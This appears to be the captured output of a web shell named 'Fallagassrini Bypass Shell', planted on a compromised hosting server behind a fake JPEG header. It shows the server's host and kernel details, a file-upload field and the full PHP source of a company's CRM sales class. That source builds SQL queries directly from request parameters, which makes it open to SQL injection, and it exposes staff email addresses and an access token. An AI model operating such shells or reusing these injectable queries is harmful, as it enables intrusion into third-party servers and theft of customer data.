JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/easwari/www/llm/includes/

Linux 141.162.178.68.host.secureserver.net 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Upload File :
Current File : /home/easwari/www/llm/includes/class.SalesMgmt.php

<?php
  $amc_quote_no = $_GET["amc_quote_no"];
#####Class For Adding Content Management ######
class SalesMgmt extends MysqlFns{
 
 /* class constructor */
 function SalesMgmt(){
 $this->LDDisplayPath= $config['SiteGlobalPath']."class.SalesMgmt.php";
  global $config;
  global $objSmarty;
  $this->MysqlFns();
  $this->Limit = 30;

   $SelQuery	= 'SELECT max(sales_quote_no) as sales_quote_no FROM `micromak_sales_quote_master` Limit 0,1';
   $SalesDetail	= $this->ExecuteQuery($SelQuery, 'select');
   $SalesDetail[0]['sales_quote_no'] = stripslashes($SalesDetail[0]['sales_quote_no']);
   $sales_quote_no1 = preg_replace("/[^0-9\.]/", '', $SalesDetail[0]['sales_quote_no']);
   $sales_quote_no1= $sales_quote_no1 + 1;
	$str = str_split($SalesDetail[0]['sales_quote_no'], 2);
	$sales_quote_no1 = $str[0].$sales_quote_no1;   
    $objSmarty->assign('sales_quote_no', $sales_quote_no1);
	
	 $SelQuery2	= 'SELECT * FROM `micromak_tax_values` WHERE `status`=1';
   $TaxDetail	= $this->ExecuteQuery($SelQuery2, 'select');  
   $objSmarty->assign('tax_chck_bx_array', $TaxDetail);
  $objSmarty->assign('hide_tax_details', '0');



/*   $SelQuery	= 'SELECT max(pay_ref_id) as pay_ref_id FROM `micromak_sales_payment_details`  WHERE sales_quote_no ="'.$_GET['sales_quote_no'].'" Limit 0,1';
   $SalesDetail	= $this->ExecuteQuery($SelQuery, 'select');
  if($SalesDetail[0]['pay_ref_id']=="")
					{
					$pay_ref_id="PR-1";
					}
					else
					{
					        $SalesDetail[0]['pay_ref_id'] = stripslashes($SalesDetail[0]['pay_ref_id']);
  							$pay_ref_id = preg_replace("/[^0-9\.]/", '', $SalesDetail[0]['pay_ref_id']);
							$pay_ref_id= $pay_ref_id + 1;
                            $pay_ref_id="PR-".$pay_ref_id;
							
							
							}
							 $objSmarty->assign('pay_ref_id', $pay_ref_id);*/
							 
						//$SelQuery	= 'SELECT balance_amount FROM `micromak_sales_payment_details`  WHERE sales_quote_no ="'.$_GET['sales_quote_no'].'" Limit 0,1'; 
						
 		$SelQuery4	= 'SELECT max(sl_no) as sl_no FROM `micromak_sales_payment_details` Limit 0,1';
   		$SalesDetail	= $this->ExecuteQuery($SelQuery4, 'select');
    	$objSmarty->assign('SalesDetail', $SalesDetail);
		
	}
/* Get the Static Content list */
 	function GetSalesView($objArray='')  {
		
		global $objSmarty;
		$objSmarty->assign('sales_quote_no',$_GET['sales_quote_no']);
		$SelQuery = 'SELECT * FROM `micromak_sales_quote_master` WHERE sales_quote_no ="'.$_GET['sales_quote_no'].'" limit 0,1' ;
		$LDList1		= $this->ExecuteQuery($SelQuery, "select");
		$objSmarty->assign("LDList1",$LDList1);
		//print_r($LDList1);
		
		$SelQuery = 'SELECT * FROM `micromak_cus_reg_master` WHERE customer_id ="'.$LDList[0]['customer_id'].'" limit 0,1' ;
		$LDList_dt2		= $this->ExecuteQuery($SelQuery, "select");		
		$SelQuery_pay_details = 'SELECT * FROM `micromak_dev_payment_details` WHERE amc_quote_no ="'.$_GET['amc_quote_no'].'"' ;
		$LDList_pay_details		= $this->ExecuteQuery($SelQuery_pay_details, "select");		
		$objSmarty->assign("LDList_pay_details",$LDList_pay_details);
		
		$total_records = count($LDList);
		$record_per_page = $this->Limit;
		
		$objSmarty->assign("TList1",$_GET['sales_quote_no']);
		/*$LDList[0]['title'] 		= stripslashes($LDList[0]['title']);
		$LDList[1]['txttitle'] 		= stripslashes($LDList[1]['txttitle']);
		$LDList[2]['image'] 		= stripslashes($LDList[2]['image']);*/
		 if(!empty($LDList) && is_array($LDList))
		{
		
			$objSmarty->assign("LDList2",$LDList);
			$objSmarty->assign("dtl_price",$LDList_dtl[0]['price']);
			$objSmarty->assign("no_of_years",$LDList_dtl[0]['no_of_years']);
			$objSmarty->assign("dtl_entitlement",$LDList_dtl[0]['entitlement']);
			$objSmarty->assign("dtl_dic_per",$LDList_dtl[0]['discount_per']);
			$objSmarty->assign("dtl_discount_value",$LDList_dtl[0]['discount_value']);
			$objSmarty->assign("dtl_end_date",$LDList_dtl[0]['end_date']);
			$objSmarty->assign("dtl_customer",$LDList_dt2[0]['customer_name']);
			$objSmarty->assign("dtl_cus_typ",$LDList_dt2[0]['customer_type']);
			$objSmarty->assign("dtl_cus_per",$LDList_dt2[0]['contact_person']);
			$objSmarty->assign("dtl_cus_detail",$LDList_dt2[0]['battery_details']);
			$objSmarty->assign("dtl_cus_capa",$LDList_dt2[0]['capacity']);
			$objSmarty->assign("dtl_cus_ser",$LDList_dt2[0]['sl_no']);
			$objSmarty->assign("dtl_cus_loca",$LDList_dt2[0]['location']);
			$objSmarty->assign("dtl_cus_stdat",$LDList_dt2[0]['start_date']);
			$objSmarty->assign("dtl_cus_serpl",$LDList_dt2[0]['service_plan']);
			$objSmarty->assign("dtl_cus_sutyp",$LDList_dt2[0]['support_type']);
			$objSmarty->assign("dtl_cus_eq_bra",$LDList_dt2[0]['equipment_brand']);
			$objSmarty->assign("LDDisp", $this->LDDisplayPath);
			return $LDList2;
		}	
	}
		function GetPaymentView($objArray='')  {
		
	
		global $objSmarty;
		$objSmarty->assign('sales_quote_no',$_GET['sales_quote_no']);
		$SelQuery = 'SELECT * FROM `micromak_sales_quote_master` WHERE sales_quote_no ="'.$_GET['sales_quote_no'].'" limit 0,1' ;
		$LDList		= $this->ExecuteQuery($SelQuery, "select");
		
		$SelQuery = 'SELECT * FROM `micromak_amc_reg_details` WHERE amc_quote_no ="'.$LDList[0]['amc_quote_no'].'" limit 0,1' ;
		$LDList_dtl		= $this->ExecuteQuery($SelQuery, "select");		
				
		$SelQuery = 'SELECT * FROM `micromak_cus_reg_master` WHERE customer_id ="'.$LDList[0]['customer_id'].'" limit 0,1' ;
		$LDList_dt2		= $this->ExecuteQuery($SelQuery, "select");		
		$SelQuery_pay_details = 'SELECT * FROM `micromak_dev_payment_details` WHERE amc_quote_no ="'.$_GET['amc_quote_no'].'"' ;
		$LDList_pay_details		= $this->ExecuteQuery($SelQuery_pay_details, "select");		
		$objSmarty->assign("LDList_pay_details",$LDList_pay_details);
		
		$total_records = count($LDList);
		$record_per_page = $this->Limit;
		
		$objSmarty->assign("TList1",$_GET['sales_quote_no']);
		/*$LDList[0]['title'] 		= stripslashes($LDList[0]['title']);
		$LDList[1]['txttitle'] 		= stripslashes($LDList[1]['txttitle']);
		$LDList[2]['image'] 		= stripslashes($LDList[2]['image']);*/
		 if(!empty($LDList) && is_array($LDList))
		{
		
			$objSmarty->assign("LDList2",$LDList);
			$objSmarty->assign("dtl_price",$LDList_dtl[0]['price']);
			$objSmarty->assign("no_of_years",$LDList_dtl[0]['no_of_years']);
			$objSmarty->assign("dtl_entitlement",$LDList_dtl[0]['entitlement']);
			$objSmarty->assign("dtl_dic_per",$LDList_dtl[0]['discount_per']);
			$objSmarty->assign("dtl_discount_value",$LDList_dtl[0]['discount_value']);
			$objSmarty->assign("dtl_end_date",$LDList_dtl[0]['end_date']);
			$objSmarty->assign("dtl_customer",$LDList_dt2[0]['customer_name']);
			$objSmarty->assign("dtl_cus_typ",$LDList_dt2[0]['customer_type']);
			$objSmarty->assign("dtl_cus_per",$LDList_dt2[0]['contact_person']);
			$objSmarty->assign("dtl_cus_detail",$LDList_dt2[0]['battery_details']);
			$objSmarty->assign("dtl_cus_capa",$LDList_dt2[0]['capacity']);
			$objSmarty->assign("dtl_cus_ser",$LDList_dt2[0]['sl_no']);
			$objSmarty->assign("dtl_cus_loca",$LDList_dt2[0]['location']);
			$objSmarty->assign("dtl_cus_stdat",$LDList_dt2[0]['start_date']);
			$objSmarty->assign("dtl_cus_serpl",$LDList_dt2[0]['service_plan']);
			$objSmarty->assign("dtl_cus_sutyp",$LDList_dt2[0]['support_type']);
			$objSmarty->assign("dtl_cus_eq_bra",$LDList_dt2[0]['equipment_brand']);
			$objSmarty->assign("LDDisp", $this->LDDisplayPath);
			return $LDList2;
		}	
	}








 //Create FCK Editor
 function CreateFCKeditor($value = ''){
  global $config, $objSmarty;

  include($config['FckEditorPath'] . '/fckeditor.php');
  $sBasePath = $config['SiteFCKEditorBasePath'];

  $oFCKeditor 			= new FCKeditor('content') ;
  $oFCKeditor->BasePath	= $sBasePath ;
  $oFCKeditor->Width		= 600 ;
  $oFCKeditor->Height		= 450 ;
  $oFCKeditor->Value		= $value;
  $objSmarty->assign('Editor', $oFCKeditor->Create());
 }
 
 /* Get the Static Content list */
 function GetSalesLists($objArray='')  {
  global $objSmarty;
  $whereClause = 'WHERE status = 1';
  if($_POST['search'] == ''){
  			if($_POST['sales_quote_no'])
	   			$whereClause = ' WHERE (`sales_quote_no` like "%'.$_POST['sales_quote_no'].'%")';
	   		elseif($_POST['cusid'])
	   			$whereClause = ' WHERE (`customer_id` like "%'.$_POST['cusid'].'%")';
			elseif($_POST['c_name'])
				$whereClause = ' WHERE (`customer_name` like "%'.$_POST['c_name'].'%")';
			elseif($_POST['type'])
				$whereClause = ' WHERE (`Product_type` like "%'.$_POST['type'].'%")';
			elseif($_POST['quantity'])
				$whereClause = ' WHERE (`quantity` like "%'.$_POST['quantity'].'%")';
			elseif($_POST['tot_amount'])
				$whereClause = ' WHERE (`total_cost` like "%'.$_POST['tot_amount'].'%")';
			elseif($_POST['tax_per'])
				$whereClause = ' WHERE (`tax_per` like "%'.$_POST['tax_per'].'%")';
			elseif($_POST['quote_date'])
				$whereClause = ' WHERE (`quote_date` like "%'.$_POST['quote_date'].'%")';
			elseif($_POST['status'])
				$whereClause = ' WHERE (`status` like "%'.$_POST['status'].'%")';
  /* $objSmarty->assign('sales_quote_no',$_POST['sales_quote_no']);
   $objSmarty->assign('c_id',$_POST['c_id']);
   $objSmarty->assign('invoice_no',$_POST['invoice_no']);
   $objSmarty->assign('customer_name',$_POST['customer_name']);
   $objSmarty->assign('company_name',$_POST['company_name']);
   $objSmarty->assign('customer_type',$_POST['customer_type']);
   $objSmarty->assign('quote_date',$_POST['quote_date']);
   $objSmarty->assign('net_value',$_POST['net_value']);
   $objSmarty->assign('city',$_POST['city']);   
   $objSmarty->assign('sales_quote_status',$_POST['sales_quote_status']); */  
  }
  $SelQuery		= 'SELECT * FROM `micromak_sales_quote_master`'.$whereClause.' ORDER BY sales_quote_no DESC';
  $listing_split = new MsplitPageResults($SelQuery, $this->Limit);
  if ( ($listing_split->number_of_rows > 0) )  {
   $objSmarty->assign('LinkPage',$listing_split->display_count(TEXT_DISPLAY_NUMBER_OF_RESULT));
   $objSmarty->assign('PerPageNavigation',TEXT_RESULT_PAGE1 . ' ' . $listing_split->display_links($this->Limit, get_all_get_params(array('page', 'info', 'x', 'y')))); 
   $SalesList = $this->ExecuteQuery($listing_split->sql_query, 'selectassoc');
  }
  if(!empty($SalesList) && is_array($SalesList))
  {
   foreach($SalesList as $key=>$value){
    $SalesList[$key]['SaleQuoteNo'] = stripslashes($SalesList[$key]['sales_quote_no']);
	$SalesList[$key]['Invoice'] = stripslashes($SalesList[$key]['invoice_no']);
	}
  $objSmarty->assign('i', $listing_split->i);
  $objSmarty->assign('SalesList', $SalesList);
  return $SalesList;
  }
  elseif(empty($SalesList) && is_array($SalesList))
    $objSmarty->assign('ErrorMessage', 'No Records Found');
 }
 function GetsalesTabView($objArray='')  {
		global $objSmarty;
		
		$SelQuery = 'SELECT * FROM `micromak_sales_payment_master` WHERE customer_id ="'.$_GET['cust_id'].'"' ;
		$LDList		= $this->ExecuteQuery($SelQuery, "select");
		//echo($SelQuery);
		$objSmarty->assign("PageList",$LDList);
}
function GetsalesDashPay($objArray='')  {
		global $objSmarty;
		
		$SelQuery = 'SELECT * FROM `micromak_sales_quote_master` WHERE payment_status =0 ORDER BY sales_quote_no DESC'  ;
		$LDList		= $this->ExecuteQuery($SelQuery, "select");
		//echo($SelQuery);
		$objSmarty->assign("PageList",$LDList);
}
 function GetsalesDashboardview($objArray='')  {
		global $objSmarty;
		
		$SelQuery = 'SELECT * FROM `micromak_sales_quote_master` WHERE approve_status = 0' ;
		$LDList		= $this->ExecuteQuery($SelQuery, "select");
		//echo($SelQuery);
		$objSmarty->assign("PageList",$LDList);
}
 /* Delete the Static Page */
 function DeleteSales($objArray=''){
  global $objSmarty;
  $DelQuery = 'update `micromak_sales_quote_master` set `status` = 0 WHERE `sales_quote_no` ="'.$_GET['sales_quote_no'].'"';
	$this->ExecuteQuery($DelQuery, 'delete');
  $objSmarty->assign('Keyword', $this->Keyword);
  $objSmarty->assign('Operator', $this->Operator);
  $objSmarty->assign('Offset', $this->Offset);
  $objSmarty->assign('PerPage', $this->PerPage);
  return true;
 }
 function DeleteProduct($DevIdent){
  global $objSmarty;
  $DelQuery = 'update `micromak_amc_reg_master` set `status` = 0 WHERE `product_id` ="'.$DevIdent.'"';
	$this->ExecuteQuery($DelQuery, 'delete');
  $objSmarty->assign('Keyword', $this->Keyword);
  $objSmarty->assign('Operator', $this->Operator);
  $objSmarty->assign('Offset', $this->Offset);
  $objSmarty->assign('PerPage', $this->PerPage);
  return true;
 }
 
  /* Insert the content for  Static Pages */
 function InsertSaleContent($objArray){
  global $objSmarty;
   if(!$objArray['sales_quote_no']){
    $objSmarty->assign('ErrorMessage', 'Sales Quote Number should not be blank');
	return false;
   }elseif(!$objArray['quote_date']){
    $objSmarty->assign('ErrorMessage', 'Quote Date should not be blank');
	return false;
   }elseif(!$objArray['invoice_no']){
    $objSmarty->assign('ErrorMessage', 'Invoice No should not be blank');
	return false;
   }elseif(!$objArray['cusid']){
    $objSmarty->assign('ErrorMessage', 'Customer Id should not be blank');
	return false;
   }elseif(!$objArray['c_name']){
    $objSmarty->assign('ErrorMessage', 'Customer Name should not be blank');
	return false;
   }elseif(!$objArray['c_person']){
    $objSmarty->assign('ErrorMessage', 'Contact Person should not be blank');
	return false;
   }elseif(!$objArray['c_type']){
    $objSmarty->assign('ErrorMessage', 'Customer Type should not be blank');
	return false;
   }elseif(!$objArray['type']){
    $objSmarty->assign('ErrorMessage', 'Product Type should not be blank');
	return false;
   }elseif(!$objArray['rate']){
    $objSmarty->assign('ErrorMessage', 'Rate should not be blank');
	return false;
   }elseif(!$objArray['qnty']){
    $objSmarty->assign('ErrorMessage', 'Quantity should not be blank');
	return false;
   }elseif(!$objArray['tax_per']){
    $objSmarty->assign('ErrorMessage', 'Tax Percentage should not be blank');
	return false;
   }  elseif(!$objArray['tot_amount']){
    $objSmarty->assign('ErrorMessage', 'Total Amount should not be blank');
	return false;
   }elseif(!$objArray['backup']){
    $objSmarty->assign('ErrorMessage', 'Back UP should not be blank');
	return false;
   }elseif(!$objArray['capacity']){
    $objSmarty->assign('ErrorMessage', 'Capacity should not be blank');
	return false;
   }elseif(!$objArray['make']){
    $objSmarty->assign('ErrorMessage', 'Make should not be blank');
	return false;
   }elseif(!$objArray['model']){
    $objSmarty->assign('ErrorMessage', 'Model should not be blank');
	return false;
   } 
		if($objArray['model'] =="OTHERS")
		{
			$model = $objArray['model_others'];
		}else
		{
			$model = $objArray['model'];
		}

   //*************************** Insert Device Reg Master *********************************************
   if($objArray['sales_quote_no'] && $objArray['cusid']){
   $InsQuery = 'INSERT INTO `micromak_sales_quote_master`(`sales_quote_no`, `invoice_no`, `quote_date`, `customer_id`, `customer_name`, `contact_person`, `customer_type`, `product_type`,`make`,`model`,`rate`,`capacity`,`backup`,`quantity`,`net_bfr_dis`, `total_cost`,`tax_per`,`tax_val`,`remarks`,`payment_status`, `status`) VALUES("'.trim(addslashes($objArray['sales_quote_no'])).'","'.trim(addslashes($objArray['invoice_no'])).'","'.trim(addslashes($objArray['quote_date'])).'","'.trim(addslashes($objArray['cusid'])).'","'.trim(addslashes($objArray['c_name'])).'","'.trim(addslashes($objArray['c_person'])).'","'.trim(addslashes($objArray['c_type'])).'","'.trim(addslashes($objArray['type'])).'","'.trim(addslashes($objArray['make'])).'","'.$model.'","'.trim(addslashes($objArray['rate'])).'","'.trim(addslashes($objArray['capacity'])).'","'.trim(addslashes($objArray['backup'])).'","'.trim(addslashes($objArray['qnty'])).'","'.trim(addslashes($objArray['cstestimation'])).'","'.trim(addslashes($objArray['tot_amount'])).'","'.trim(addslashes($objArray['tax_per'])).'","'.trim(addslashes($objArray['tax_val'])).'","'.trim(addslashes($objArray['remarks'])).'","0","1")';
	$this->ExecuteQuery($InsQuery, 'insert');
	
		$InsQuery = 'INSERT INTO `micromak_sales_payment_master` (`sales_quote_no`,`quote_date`,`customer_id`, `customer_name`,`product`,`no_of_products`,`rate`,`dis_rate`, `amount`, `discount_percentage`, `discount_amount`, `tax_percentage`, `tax_amount`,`net_bfr_dis`,`net_aft_dis`, `total_amount`,`billing_amount`,`pending_amount`, `payment_status`, `status`) VALUES ("'.trim(addslashes($objArray['sales_quote_no'])).'","'.trim(addslashes($objArray['quote_date'])).'","'.trim(addslashes($objArray['cusid'])).'","'.trim(addslashes($objArray['c_name'])).'","'.trim(addslashes($objArray['type'])).'", "'.trim(addslashes($objArray['qnty'])).'","'.trim(addslashes($objArray['rate'])).'","'.trim(addslashes($objArray['rate'])).'", "'.trim(addslashes($objArray['cstestimation'])).'", "'.trim(addslashes($objArray['discount_percentage'])).'", "'.trim(addslashes($objArray['discount_amount'])).'", "'.trim(addslashes($objArray['tax_per'])).'", "'.trim(addslashes($objArray['tax_val'])).'", "'.trim(addslashes($objArray['cstestimation'])).'", "'.trim(addslashes($objArray['cstestimation'])).'", "'.trim(addslashes($objArray['tot_amount'])).'", "'.trim(addslashes($objArray['tot_amount'])).'", "'.trim(addslashes($objArray['tot_amount'])).'","0","1")';
	$this->ExecuteQuery($InsQuery, 'insert');
	header('Location:' .$_SERVER['PHP_SELF'].'?succs_msg_for_insert');
	}
	

	

/*   $InsQuery = 'INSERT INTO `micromak_sales_details`(`sales_quote_no`, `description`, `rate`, `quantity`,`tax_name`,`tax_value`, `amount`,`status`) VALUES("'.trim(addslashes($objArray['sales_quote_no'])).'","'.trim(addslashes($objArray['description'])).'","'.trim(addslashes($objArray['rate'])).'","'.trim(addslashes($objArray['quantity'])).'","'.trim(addslashes($concatinated_tax_name)).'","'.trim(addslashes($concatinated_tax_value)).'","'.trim(addslashes($objArray['amount'])).'",1)';
	$this->ExecuteQuery($InsQuery, 'insert');*/		
	
   // header('Location:' .$_SERVER['PHP_SELF'].'?succs_msg_for_insert');
   
   	//  $EmailHtml = file_get_contents($config['SiteLocalPath'] . 'email_customer_welcome.php');
}
function SendMail($objArray=''){
global $objSmarty;

	 $SelQuery = 'SELECT * FROM `micromak_sales_quote_master` WHERE sales_quote_no ="'.$_GET['sales_qut_no'].'" limit 0,1' ;
	$LDList_dt2		= $this->ExecuteQuery($SelQuery, "select");
	$cid = stripslashes($LDList_dt2[0]['customer_id']);

 	$SelQuery1 = 'SELECT email,email2 FROM `micromak_cus_reg_master` WHERE customer_id ="'.$cid.'" limit 0,1' ;
	$LDList_dt1		= $this->ExecuteQuery($SelQuery1, "select");
		
    	  $EmailHtml = "";
		  $EmailHtml .= '<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
</head>

<body>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td align="center" valign="top" bgcolor="#ffffff" style="background-color:#ffffff;"><br>
    <br>
    <table width="600" border="0" cellspacing="0" cellpadding="0">
    
      <tr>
        <td align="left" valign="top" bgcolor="#ffffff" style="background-color:#ffffff;"><table width="570" border="0" align="center" cellpadding="0" cellspacing="0" style="margin-bottom:15px;">
          
          </table>
          <table width="570" border="0" align="center" cellpadding="0" cellspacing="0" style="margin-bottom:15px;">
          <tr><td width="180" align="left" valign="middle" style="font-family:Arial, Helvetica, sans-serif; color:#4e4e4e; font-size:13px; padding-right:10px;"><img src="http://www.tasca.in/tasca/micromak/images/microtek_logo.jpg" width="75" height="75" style="display:block;">
            <h3>Welcome To Micromak CRM</h3></tr>
            <p>Dear Customer,</p>
	<p>On behalf of MICROMAK SYSTEMS & SOLUTIONS, I would like to thank you for the tremendous purchase of the products done by you from us.</p>
    <p>It would be our good fortune to do business with you in the future and we look forward to implement a long-term relationship with such opportunities in the future. We assure you that our quality products will serve the needs of your customers’ everytime and you will not find any complain in working with us.</p>
    <p>To help us achieve this, we invite you to take this short survey that will help us understand your world better. We value your participation and look forward to your responses.</p>
					
					
		<center><a href="http://micromak.tasca.in/tasca/micromak/invoice_print.php?sales_quote_no='.$_GET['sales_qut_no'].'&inputkey=U2FsdGVkX19hEKlbJkJbRppYm9wYxZQ8BnSOcROA3Rw">	<img src="http://www.tasca.in/micromak/images/button.png" width:22px; hight:30px;></a>
		<p>Thanking you once again.</p>
		<p>Sincerely, MICROMAK SYSTEMS & SOLUTIONS,</p></center>
			</td>
			</tr>
            </table>
          <table width="95%" border="0" align="center" cellpadding="0" cellspacing="0" style="margin-bottom:20px;">
            <tr>
              <td width="50%" align="left" valign="middle" style="padding:10px;"><table width="75%" border="0" cellspacing="0" cellpadding="4">
                <tr>
                  <td align="left" valign="top" style="font-family:Verdana, Geneva, sans-serif; font-size:14px; color:#000000;"><b>Follow Us On</b></td>
                  </tr>
                <tr>
                  <td align="left" valign="top" style="font-family:Verdana, Geneva, sans-serif; font-size:12px; color:#000000;"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                    <tr>
                      <td width="33%" align="left" valign="middle"><img src="http://www.tasca.in/images/tweet48.png" width="48" height="48"></td>
                      <td width="34%" align="left" valign="middle"><img src="http://www.tasca.in/images/in48.png" width="48" height="48"></td>
                      <td width="33%" align="left" valign="middle"><img src="http://www.tasca.in/images/face48.png" width="48" height="48"></td>
                      </tr>
                    </table></td>
                  </tr>
                </table></td>
              <td width="50%" align="left" valign="middle" style="color:#595959; font-size:11px; font-family:Arial, Helvetica, sans-serif; padding:10px;"> <b>Company Address</b><br> Company URL: <a href="http://www.microtekpower.com" target="_blank"  style="color:#595959; text-decoration:none;">http://www.microtekpower.com</a><br>
<br>
<b>Hours:</b> Mon-Fri 9:30-5:30, Sat. 9:30-3:00, Sun. Closed <br>
                <b>Customer Support:</b> <a href="mailto:micromakpower@gmail.com" style="color:#595959; text-decoration:none;">micromakpower@gmail.com</a></td>
              </tr>
          </table></td>
      </tr>
      </table>
    <br>
    <br></td>
  </tr>
</table>
</body>
</html>';
 $ArrReplace = array($config['SiteTitle'], $config['SiteGlobalPath']);
	  $Message = str_replace($ArrFind, $ArrReplace, $EmailHtml);
	  
	  $email = stripslashes($LDList_dt1[0]['email']);
	  $email2 = stripslashes($LDList_dt1[0]['email2']);
	  
	  //echo $email;
	 // echo $email2;
	   if($email != ''  || $email2 != '')
	  {
	  	if($email2 != '')
			{	
				$To = $email.",".$email2;
			}
		else
			{
				$To = $email;
			}
	  }
	  else
	  {	   
	    $To = "vpmicromak@gmail.com";
	  }
	   $From = "info@microtekpower.com";
        $ccarr = array("vpmicromak@gmail.com","micromak.ceo@gmail.com");
	//$ccarr = array("drameshcse92@gmail.com","ss.ganesh.0007@gmail.com");
	  $Subject = $config['SiteTitle'] . ' Welcome to '. $CusDet[$key]['CName'] ;
	  Send($To, $Message, $From, $Subject,$ccarr);

		 header('Location:' .$_SERVER['PHP_SELF'].'?sales_quote_no='.$_GET['sales_qut_no'].'&succs_msg=Mail Sent');
}

function SendQoute($objArray=''){
global $objSmarty;
	 $SelQuery = 'SELECT * FROM `micromak_sales_quote_master` WHERE sales_quote_no ="'.$_GET['sales_qut_no'].'" limit 0,1' ;
	$LDList_dt2		= $this->ExecuteQuery($SelQuery, "select");
	$cid = stripslashes($LDList_dt2[0]['customer_id']);

 	$SelQuery1 = 'SELECT email,email2 FROM `micromak_cus_reg_master` WHERE customer_id ="'.$cid.'" limit 0,1' ;
	$LDList_dt1		= $this->ExecuteQuery($SelQuery1, "select");
    	  $EmailHtml = "";
		  $EmailHtml .= '<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
</head>

<body>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td align="center" valign="top" bgcolor="#ffffff" style="background-color:#ffffff;"><br>
    <br>
    <table width="600" border="0" cellspacing="0" cellpadding="0">
    
      <tr>
        <td align="left" valign="top" bgcolor="#ffffff" style="background-color:#ffffff;"><table width="570" border="0" align="center" cellpadding="0" cellspacing="0" style="margin-bottom:15px;">
          
          </table>
          <table width="570" border="0" align="center" cellpadding="0" cellspacing="0" style="margin-bottom:15px;">
          <tr><td width="180" align="left" valign="middle" style="font-family:Arial, Helvetica, sans-serif; color:#4e4e4e; font-size:13px; padding-right:10px;"><img src="http://www.tasca.in/tasca/micromak/images/microtek_logo.jpg" width="75" height="75" style="display:block;">
            <h3>Welcome To Micromak CRM</h3></tr>
            <p>Dear Customer,</p>
	<p>On behalf of MICROMAK SYSTEMS & SOLUTIONS, I would like to thank you for the tremendous purchase of the products done by you from us.</p>
    <p>It would be our good fortune to do business with you in the future and we look forward to implement a long-term relationship with such opportunities in the future. We assure you that our quality products will serve the needs of your customers’ everytime and you will not find any complain in working with us.</p>
    <p>To help us achieve this, we invite you to take this short survey that will help us understand your world better. We value your participation and look forward to your responses.</p>
					
					
		<center><a href="http://micromak.tasca.in/tasca/micromak/sales_print.php?sales_quote_no='.$_GET['sales_qut_no'].'&inputkey=U2FsdGVkX19hEKlbJkJbRppYm9wYxZQ8BnSOcROA3Rw">	<img src="http://www.tasca.in/micromak/images/button1.png" width:22px; hight:30px;></a>
		<p>Thanking you once again.</p>
		<p>Sincerely, MICROMAK SYSTEMS & SOLUTIONS,</p></center>
			</td>
			</tr>
            </table>
          <table width="95%" border="0" align="center" cellpadding="0" cellspacing="0" style="margin-bottom:20px;">
            <tr>
              <td width="50%" align="left" valign="middle" style="padding:10px;"><table width="75%" border="0" cellspacing="0" cellpadding="4">
                <tr>
                  <td align="left" valign="top" style="font-family:Verdana, Geneva, sans-serif; font-size:14px; color:#000000;"><b>Follow Us On</b></td>
                  </tr>
                <tr>
                  <td align="left" valign="top" style="font-family:Verdana, Geneva, sans-serif; font-size:12px; color:#000000;"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                    <tr>
                      <td width="33%" align="left" valign="middle"><img src="http://www.tasca.in/images/tweet48.png" width="48" height="48"></td>
                      <td width="34%" align="left" valign="middle"><img src="http://www.tasca.in/images/in48.png" width="48" height="48"></td>
                      <td width="33%" align="left" valign="middle"><img src="http://www.tasca.in/images/face48.png" width="48" height="48"></td>
                      </tr>
                    </table></td>
                  </tr>
                </table></td>
              <td width="50%" align="left" valign="middle" style="color:#595959; font-size:11px; font-family:Arial, Helvetica, sans-serif; padding:10px;"> <b>Company Address</b><br> Company URL: <a href="http://www.microtekpower.com" target="_blank"  style="color:#595959; text-decoration:none;">http://www.microtekpower.com</a><br>
<br>
<b>Hours:</b> Mon-Fri 9:30-5:30, Sat. 9:30-3:00, Sun. Closed <br>
                <b>Customer Support:</b> <a href="mailto:micromakpower@gmail.com" style="color:#595959; text-decoration:none;">micromakpower@gmail.com</a></td>
              </tr>
          </table></td>
      </tr>
      </table>
    <br>
    <br></td>
  </tr>
</table>
</body>
</html>';
 $ArrReplace = array($config['SiteTitle'], $config['SiteGlobalPath']);
	  $Message = str_replace($ArrFind, $ArrReplace, $EmailHtml);
	  
	  $email = stripslashes($LDList_dt1[0]['email']);
	  $email2 = stripslashes($LDList_dt1[0]['email2']);
	  
	  //echo $email;
	 // echo $email2;
	   if($email != ''  || $email2 != '')
	  {
	  	if($email2 != '')
			{	
				$To = $email.",".$email2;
			}
		else
			{
				$To = $email;
			}
	  }
	  else
	  {	   
	    $To = "vpmicromak@gmail.com";
	  }
	   $From = "info@microtekpower.com";
	$ccarr = array("vpmicromak@gmail.com","micromak.ceo@gmail.com");
	//$ccarr = array("drameshcse92@gmail.com","ss.ganesh.0007@gmail.com");
	  $Subject = $config['SiteTitle'] . ' Welcome to '. $CusDet[$key]['CName'] ;
	  Send($To, $Message, $From, $Subject,$ccarr);

		 header('Location:' .$_SERVER['PHP_SELF'].'?sales_quote_no='.$_GET['sales_qut_no'].'&succs_msg=Mail Sent');
}
